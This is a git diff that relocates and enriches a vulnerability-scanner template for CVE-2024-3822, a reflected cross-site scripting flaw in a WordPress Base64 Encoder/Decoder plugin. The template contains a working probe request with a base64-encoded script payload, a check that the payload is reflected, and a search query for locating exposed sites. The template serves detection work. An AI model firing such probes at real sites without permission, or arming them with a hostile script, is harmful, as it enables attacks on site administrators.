diff --git a/CVE-2024-3822.yaml b/CVE-2024-3822.yaml
deleted file mode 100644
index 16f028eca3..0000000000
--- a/CVE-2024-3822.yaml
+++ /dev/null
@@ -1,27 +0,0 @@
-id: CVE-2024-3822
-
-info:
-    name: Base64 Encoder/Decoder <= 0.9.2 - Reflected XSS
-    author: omranisecurity
-    severity: medium
-    description: |
-        - The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
-    reference: |
-        - https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
-        - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3822/
-    metadata:
-        fofa-query: "wp-content/plugins/base64-encoderdecoder/"
-        max-request: 3
-    tags: cve,wordpress,plugin,xss
-
-http:
-  - method: GET
-    path:
-        - "{{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
-
-    matchers:
-      - type: dsl
-        dsl:
-            - 'status_code == 200'
-            - 'contains(body, "<script>alert(1)</script>")'
-        condition: and
\ No newline at end of file
diff --git a/http/cves/2024/CVE-2024-3822.yaml b/http/cves/2024/CVE-2024-3822.yaml
new file mode 100644
index 0000000000..efebda38db
--- /dev/null
+++ b/http/cves/2024/CVE-2024-3822.yaml
@@ -0,0 +1,34 @@
+id: CVE-2024-3822
+
+info:
+  name: Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting
+  author: omranisecurity
+  severity: medium
+  description: |
+    The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
+  reference: |
+    - https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-3822
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
+    cvss-score: 6.5
+    cve-id: CVE-2024-3822
+    cwe-id: CWE-79
+  metadata:
+    max-request: 1
+    verified: true
+    fofa-query: "wp-content/plugins/base64-encoderdecoder/"
+  tags: cve,cve2024,wordpress,wp-plugin,wp,xss,base64-encoderdecoder
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(header, "text/html")'
+          - 'contains(body, "<p><script>alert(1)</script></p>")'
+        condition: and